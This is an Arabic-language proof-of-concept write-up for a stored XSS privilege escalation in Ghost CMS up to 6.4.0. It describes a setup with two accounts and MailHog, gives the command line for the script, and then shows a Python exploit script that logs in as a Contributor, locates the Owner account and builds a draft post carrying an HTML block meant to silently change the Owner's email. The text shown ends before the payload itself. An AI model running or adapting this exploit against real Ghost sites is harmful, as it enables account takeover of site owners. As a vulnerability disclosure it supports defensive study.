
PoC لتصعيد الامتيازات في Ghost CMS
إثبات مفهوم لتصعيد الصلاحيات في Ghost CMS
في Ghost Foundation Ghost CMS حتى الإصدار 6.4.0، تفشل كتلة HTML داخل محرر مسودة المنشور في تعقيم أو ترميز المحتوى الذي يقدمه المستخدم بشكل صحيح، مما يؤدي إلى ثغرة برمجة نصية مخزنة عبر المواقع (Stored XSS). يمكن لمستخدم بصلاحيات Contributor حقن كود JavaScript عشوائي في مسودة، يتم تنفيذه عند عرضها من قبل حساب Owner. وهذا يسمح للمهاجم بتنفيذ إجراءات بصلاحيات مرتفعة في سياق حساب Owner.
لإثبات الثغرة، يلزم إعداد مثيل محلي من Ghost CMS بحسابين:
حساب Owner - يتم إنشاؤه تلقائيًا أثناء تثبيت Ghost.
حساب Contributor - يتم إنشاؤه بواسطة Owner عبر دعوة مستخدم جديد. يرسل Ghost رابط Magic Link إلى البريد الإلكتروني الخاص بـ Contributor لإكمال إعداد الحساب.
نظرًا لأن ذلك يتم محليًا، يجب تثبيت أداة لالتقاط البريد الإلكتروني مثل MailHog (على سبيل المثال عبر Docker). يتيح ذلك اعتراض رابط Magic Link الذي يرسله Ghost محليًا، حتى يتمكن Contributor من تفعيل حسابه بنفسه.
بمجرد أن يصبح كلا الحسابين نشطين، يمكن استخدام سكربت الاستغلال (contributor.py). يتطلب السكربت بيانات اعتماد تسجيل دخول Contributor وعنوان البريد الإلكتروني الجديد الذي سيتم تعيينه لحساب Owner بعد نجاح الاستغلال.
معاملات السكربت هي:
-u / --username Contributor username (email)
-p / --password Contributor password
-e / --new-email New email address to be set on the Owner account
--url Ghost instance URL (optional)
لتشغيل السكربت في الطرفية استخدم:
python3 contributor.py -u '[email protected]' -p 'wojtek123!@#' -e '[email protected]'
عند تنفيذه، يقوم السكربت تلقائيًا بإنشاء مسودة منشور جديدة تحتوي على حمولة JavaScript الخبيثة داخل كتلة HTML القابلة للاستغلال.
لتفعيل الـ XSS المخزن، يحتاج Owner فقط إلى معاينة المسودة عبر فتحها في لوحة إدارة Ghost والنقر على “Preview”. يتم تنفيذ السكربت المحقون في الخلفية بصلاحيات Owner، ولا يتم إشعار Owner بأن عنوان بريده الإلكتروني قد تم تغييره.
import requests
import json
import argparse
class GhostCMSSession:
def __init__(self, ghost_url="http://localhost:2368"):
self.ghost_url = ghost_url.rstrip('/')
self.api_url = f"{self.ghost_url}/ghost/api/admin"
self.session = requests.Session()
self.authenticated = False
self.current_user = None
self.owner_user = None
self.session.headers.update({
'Origin': self.ghost_url,
'Accept': 'application/json',
'Content-Type': 'application/json'
})
def login(self, username, password):
"""Login to Ghost with username and password"""
login_url = f"{self.api_url}/session/"
payload = {"username": username, "password": password}
try:
response = self.session.post(login_url, json=payload)
if response.status_code == 201:
print(f"✓ Successfully logged in as {username}")
self.authenticated = True
self.current_user = self.get_current_user()
self.owner_user = self.get_owner_user()
return True
else:
print(f"✗ Login failed: {response.status_code}")
return False
except Exception as e:
print(f"✗ Login error: {str(e)}")
return False
def get_current_user(self):
"""Get current user information"""
if not self.authenticated:
return None
try:
url = f"{self.api_url}/users/me/?include=roles"
response = self.session.get(url)
if response.status_code == 200:
data = response.json()
user = data['users'][0]
print(f"\n Current User: {user.get('name', 'Unknown')}")
print(f" Email: {user.get('email', 'Unknown')}")
print(f" User ID: {user.get('id', 'Unknown')}")
if 'roles' in user and user['roles']:
role = user['roles'][0]
if isinstance(role, dict):
print(f" Role: {role.get('name', 'Unknown')}")
return user
return None
except Exception as e:
print(f" Error fetching user: {str(e)}")
return None
def get_owner_user(self):
"""Fetch all users and find the owner - return full user object"""
if not self.authenticated:
return None
try:
print(f"\n Fetching all users to find owner...")
url = f"{self.api_url}/users/?include=roles"
response = self.session.get(url)
if response.status_code == 200:
data = response.json()
users = data.get('users', [])
print(f" Found {len(users)} users")
for user in users:
if 'roles' in user and user['roles']:
role = user['roles'][0]
role_name = role.get('name', '').lower() if isinstance(role, dict) else str(role).lower()
print(f" - {user.get('name')} ({user.get('email')}) - Role: {role_name}")
if role_name == 'owner' or role_name == 'administrator':
print(f"\n ✓ Found Owner: {user.get('name')} (ID: {user.get('id')})")
print(f" Slug: {user.get('slug')}")
print(f" Email: {user.get('email')}")
return user
return None
return None
except Exception as e:
print(f" ✗ Error fetching users: {str(e)}")
return None
def create_lexical_with_html(self, html_content):
"""Create Lexical format with HTML node (as a JSON string)"""
lexical_structure = {
"root": {
"children": [
{
"type": "html",
"version": 1,
"html": html_content,
"visibility": {
"web": {
"nonMember": True,
"memberSegment": "status:free,status:-free"
},
"email": {
"memberSegment": "status:free,status:-free"
}
}
},
{
"children": [],
"direction": None,
"format": "",
"indent": 0,
"type": "paragraph",
"version": 1
}
],
"direction": None,
"format": "",
"indent": 0,
"type": "root",
"version": 1
}
}
return json.dumps(lexical_structure)
def create_post_for_review(self, title, new_email, tags=None, excerpt=None):
"""Create a post with Lexical HTML content"""
if not self.authenticated or not self.current_user:
print("✗ Not authenticated")
return None
if not self.owner_user:
print("✗ Owner user not found")
return None
author_id = self.current_user.get('id')
owner_id = self.owner_user.get('id')
owner_slug = self.owner_user.get('slug')
owner_name = self.owner_user.get('name')
print(f"\n Creating post with CONTRIBUTOR as author")
print(f" Author ID: {author_id} ({self.current_user.get('name')})")
print(f" Target Owner ID: {owner_id}")
print(f" Target Owner Slug: {owner_slug}")
print(f" Target Owner Name: {owner_name}")